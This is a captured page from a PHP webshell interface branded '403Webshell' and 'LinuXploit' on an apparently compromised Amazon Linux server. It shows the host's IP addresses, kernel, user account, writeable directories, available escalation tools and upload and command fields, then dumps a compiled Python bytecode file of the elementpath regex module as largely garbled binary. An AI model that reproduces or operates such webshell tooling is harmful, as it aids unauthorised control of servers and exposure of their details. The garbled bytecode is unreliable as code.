403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/elementpath/regex/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/elementpath/regex/__pycache__/patterns.cpython-39.opt-1.pyc
a

���c*�	@s�dZddlZddlmZddlmZmZmZddlm	Z	m
Z
mZe�d�Z
e�d�Ze�d	�Ze�d
�Ze�d�Ze�d�Zdeeeeeeed�dd�ZdS)zL
Parse and translate XML Schema regular expressions to Python regex syntax.
�N)�
maxunicode�)�
RegexError�
UnicodeSubset�unicode_subset)�I_SHORTCUT_REPLACE�C_SHORTCUT_REPLACE�CharacterClassz	(?<!\\)--z[^\\]-[^\\]-[^\\]z\d+z{\d+(,(\d+)?)?}zQ(?<!\\)\\(U[0-9a-fA-F]{8}|u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|o{\d+}|\d+|A|Z|z|B|b|o)zM(?<!\\)\\(U[0-9a-fA-F]{8}|u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|o{\d+}|A|Z|z|B|b|o)�1.0T)�pattern�flags�xsd_version�back_references�lazy_quantifiers�anchors�returnc	s������fdd��|rdnd}|r(gnd|g}d�t��}d}	d}
|tj@}|r`t���}n
t���}|r�d�t��|��|�	�d�����|k�rn��}
|
dkr�|�
|r�|
nd	��n�|
d
v�r |s�|�
d|
�n>|
dk�r|�
|tj@r�d
nd�n|�
|tj@�rdnd��nD|
dk�r�zt���}Wn(t
�y`d�t�������Yn"0|dk�rx|�
d�n
|�
|��n�|
dk�r8�dk�r�d�t��|
�����t���d��}|du�r�d�t��|
�����|�
|����t|���7�|s��|kr���dvr�d�t���������q��n,|
dk�r����d�dk�rld�t�������|	d7}	|
d7}
|�
|��n�|
dk�r�d�t��|
������n�|
dk�r�|
dk�r�d �t�������|
d8}
|�
|
��nx|
dv�rp�dk�rd�t��|
�����nJ|�r nB�|dk�rb��dd!v�rbd�t����d�d����|�
|
��n�|
d"k�rZ�d7�|tj@�r��|k�r���d#k�r��d7��q��|k�r�|�
d"��qd�����r~|�
d���t���d����}t|�dk�rXd}tdt|��D]P}|	t|d|d��k�r\|�
d$��|��qrn|�
��|��q �|7��qd��d%k�r�|�
d$t��qd��d&k�r�|�
d't��qd��d(k�r�|�
d$t��qd��d)k�r�|�
d't��qd��d*v�rF�d}zD��ddk�r<td+��d����d,k�rV�d7��q<Wn,t
tf�y�d-�t��|����Yn0�|d.��}|tj@�r�|�d#d/�}zt|�}Wn>t�y��d0k�s�|�d1��s�d$tdtfg�}Yn&0�|dd2k�rd$|}nd'|}|tj@�r:|�
d3|�n
|�
|�n|�
d���n
|�
|
��d7�q�|
dk�r�td4���|�s�|�
d5�d/�|�S)6a
    Translates a pattern regex expression to a Python regex pattern. With default
    options the translator processes XPath 2.0/XQuery 1.0 regex patterns. For XML
    Schema patterns set all boolean options to `False`.

    :param pattern: the source XML Schema regular expression.
    :param flags: regex flags as represented by Python's re module.
    :param xsd_version: apply regex rules of a specific XSD version, '1.0' for default.
    :param back_references: if `True` supports back-references and capturing groups.
    :param lazy_quantifiers: if `True` supports lazy quantifiers (\*?, +?).
    :param anchors: if `True` supports ^ and $ anchors, otherwise the translated     pattern is anchored to its boundaries and anchors are treated as normal characters.
    cs��d7���dkr"�d7�d}nd}�}��dkrLd�t�������q*��dkr���d��r|d�t��������d	7�q*��d
ks����d	�dk�r^�|kr�d�t��������|��}t�|�r��|d	kr�d
�t��������dk�r@t�|�}|du�r@||��dd	}d�t��|����t|��}|�rh|���qhq*�d7�q*��d
k�r��d7���}�d7�||8}|S)Nr�^TF�[z*invalid character '[' at position {}: {!r}�\z>illegal back-reference in character class at position {}: {!r}��]z-[z*empty character class at position {}: {!r}z1invalid character range '--' at position {}: {!r}r
z,unescaped character '-' at position {}: {!r})	r�format�isdigit�HYPHENS_PATTERN�search�INVALID_HYPHEN_PATTERN�spanr	Z
complement)�negativeZchar_class_posZchar_class_patternZhyphen_matchZ
hyphen_posZ
char_classZsubtracted_class��msg�parse_character_classr�posr
��>/usr/lib/python3.9/site-packages/elementpath/regex/patterns.pyr /sN
"




z0translate_pattern.<locals>.parse_character_class�(z(?:z^%srz5not allowed escape sequence {!r} at position {}: {!r}�.z[^
])r�$z\%srz
(?<!\n\Z)^r&z	$(?!\n\Z)rz1unterminated character class at position {}: {!r}z[]z[^\w\W]�{z/unexpected quantifier {!r} at position {}: {!r}Nz,invalid quantifier {!r} at position {}: {!r})�?�+�*z3unexpected meta character {!r} at position {}: {!r}rz(?z8invalid '(?...)' extension notation ad position {}: {!r}rr�)z/unbalanced parenthesis ')' at position {}: {!r})r(r)r*r'r� z[%s]�i�Iz[^%s]�c�CZpPza '{' expected, found %r.�}z3truncated unicode block escape at position {}: {!r}��r
ZIs�pz(?-i:%s)z)unterminated subpattern in expression: %rz
)$(?!\n\Z))�len�re�DOTALL�FORBIDDEN_ESCAPES_REF_PATTERNr�FORBIDDEN_ESCAPES_NOREF_PATTERNrr�groupr�append�	MULTILINE�str�
IndexError�QUANTIFIER_PATTERN�match�VERBOSEr�DIGITS_PATTERN�range�intrr�
ValueError�replacer�
startswithrr�
IGNORECASE�join)rrr
rrrZgroup_open_charZregexZpattern_lenZtotal_groupsZ
nested_groupsZdot_allr@ZchZchar_class_reprZ	reference�kZ	block_posZ
block_nameZp_shortcut_setZp_shortcut_groupr"rr#�translate_patterns6















 






rK)rr
TTT)�__doc__r6�sysrZunicode_subsetsrrrZcharacter_classesrrr	�compilerrrBr?r9r8r=rD�boolrKr"r"r"r#�<module>
s*



����

Youez - 2016 - github.com/yon3zu
LinuXploit